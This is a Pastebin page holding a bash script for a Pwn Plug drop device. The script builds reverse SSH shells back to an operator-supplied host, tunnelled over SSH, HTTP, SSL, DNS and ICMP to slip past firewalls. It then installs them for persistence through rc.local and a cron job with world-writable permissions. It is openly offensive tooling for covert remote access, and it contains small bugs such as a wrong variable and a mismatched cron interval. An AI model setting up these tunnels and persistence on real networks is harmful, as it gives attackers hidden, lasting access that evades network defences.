Advertisement
Guest User

connect

a guest
May 30th, 2012
469
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.02 KB | None | 0 0
  1. #! /bin/bash
  2. mkdir -p /var/pwnplug/reverseshell/
  3. reverse_shell=/var/pwnplug/reverseshell/reverseshell.sh
  4. mv "$reverse_shell" /var/pwnplug/reverseshell/reverseshell.bak
  5. default=all
  6. echo "This script assumes that you have taken the steps to set up your host (who you want to connect back to as outlined in the www.securitygeneration.com scripts"
  7. read -p "First we will need to know who to connect back to? " -e hostip
  8. echo "$testip"
  9. counter=1
  10. while [ $counter -gt 0 ]; do
  11. read -p "Now that we have the address, $hostip, what type of tunnel would you like to set up? Choices are: SSH, HTTP, SSL, DNS, ICMP, or All (default=All) " -e t1
  12. if [ -n "$t1" ]
  13. then
  14. scantype=$t1
  15. else
  16. scantype=$default
  17. fi
  18. case "$scantype" in
  19. all|All|ALL)
  20. echo "Creating all the reverse shells in the script";echo "killall ptunnel; killall stunnel4; killall dns2tcpc; killall ssh" >>"$reverse_shell"; echo "ssh -NR 3333:localhost:22 -i /root/.ssh/id_rsa pwnplug@"$hostip" -p 22 &" >> "$reverse_shell";echo "htc -F 8081 "$hostip":80 &" >> "$reverse_shell"; echo "ssh -NR 3338:localhost:22 -i /root/.ssh/id_rsa pwnplug@localhost -p 8081 &">> "$reverse_shell";echo "stunnel -c -d 4321 -r "$hostip":443 &">>"$reverse_shell"; echo "sleep 10"; echo "ssh -NR 3336:localhost:22 -i /root/.ssh/id_rsa pwnplug@localhost -p 4321 &">>"$reverse_shell";echo "dns2tcpc -r ssh -l 5432 -z rssfeeds.com "$hostip" &">>"$reverse_shell"; echo "ssh -NR 3335:localhost:22 -i /root/.ssh/id_rsa pwnplug@localhost -p 5432 &">>"$reverse_shell";echo "ptunnel -lp 7654 -p "$hostip" -da "$hostip" -dp 22 -c eth0 &">>"$reverse_shell"; echo "ssh -NR 3339:localhost:22 -i /root/.ssh/id_rsa pwnplug@localhost -p 7654 &">>"$reverse_shell"; chmod 777 "$reverse_shell"; counter=-1;;
  21. ssh|SSH|SSh|Ssh)
  22. echo "OK creating an ssh reverse shell";echo "ssh -NR 3333:localhost:22 -i /root/.ssh/id_rsa pwnplug@"$hostip" -p 22" > "$reverse_shell"; chmod 777 "$reverse_shell";counter=-1;;
  23. http|HTTP|Http)
  24. echo "OK creating a reverse ssh shell over http"; echo "htc -F 8081 "$hostip":80&" > "$reverse_shell"; echo "ssh -NR 3338:localhost:22 -i /root/.ssh/id_rsa pwnplug@localhost -p 8081 &">> "$reverse_shell";chmod 777 "$reverse_shell"; counter=-1;;
  25. SSL|ssl|Ssl)
  26. echo "OK creating a reverse ssh shell over https"; echo "stunnel -c -d 4321 -r "$hostip":443 &">"$reverse_shell"; echo "sleep 10"; echo "ssh -NR 3336:localhost:22 -i /root/.ssh/id_rsa pwnplug@localhost -p 4321 &">>"$reverse_shell"; chmod 777 "$reverse_shell"; counter=-1;;
  27. DNS|dns|Dns)
  28. echo "OK creating a reverse ssh shell over DNS"; echo "dns2tcpc -r ssh -l 5432 -z rssfeeds.com "$hostip"">>"$reverse_shell &"; echo "ssh -NR 3335:localhost:22 -i /root/.ssh/id_rsa pwnplug@localhost -p 5432 &">>"$reverse_shell";chmod 777 "$reverse_shell";counter=-1;;
  29. ICMP|icmp|Icmp)
  30. echo "Ok setting up a reverse ssh shell over icmp"; echo "ptunnel -lp 7654 -p "$hostip" -da "$hostip" -dp 22 -c eth0 &">"$reverse_shell"; echo "ssh -NR 3339:localhost:22 -i /root/.ssh/id_rsa pwnplug@localhost -p 7654 &">>"$reverse_shell"; chmod 777 "$reverse_shell"; counter=-1;;
  31. exit|EXIT|Exit|quit|QUIT|Quit)
  32. break;connect=-1;;
  33. *)
  34. echo "Sorry I didn't understand your input. Please try again. ";;
  35. esac
  36. done
  37. while [ $counter -lt 0 ]; do
  38. read -p "Shell done! Now we have to run get the plug to run it for the shell to be effective. Do you want it to run at boot, every 30 minutes, or both? Please enter Boot, 30, or Both (default=Boot) " -e t2
  39. if [ -n "$t2" ]
  40. then
  41. whenrun=$t2
  42. else
  43. whenrun=boot
  44. fi
  45. case "$whenrun" in
  46. Boot|BOOT|boot)
  47. mv /etc/rc.local /etc/rc.local.orig; sed '$ i\/var/pwnplug/reverseshell/reverseshell.sh' /etc/rc.local.orig >/etc/rc.local; chmod 777 /etc/rc.local;counter=1;;
  48. 30|thirty|Thirty)
  49. (crontab -l;echo "*/15 * * * * /var/pwnplug/reverseshell/reverseshell.sh") |crontab -;counter=1;;
  50. both|Both|BOTH)
  51. mv /etc/rc.local /etc/rc.local.orig; sed '$ i\/var/pwnplug/reverseshell/reverseshell.sh' /etc/rc.local.orig >/etc/rc.local; chmod 777 /etc/rc.local;(crontab -l;echo "*/15 * * * * /var/pwnplug/reverseshell/reverseshell.sh") |crontab -;counter=1;;
  52. *)
  53. echo "Sorry I didn't understand your input. Please try again. ";;
  54. esac
  55. done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement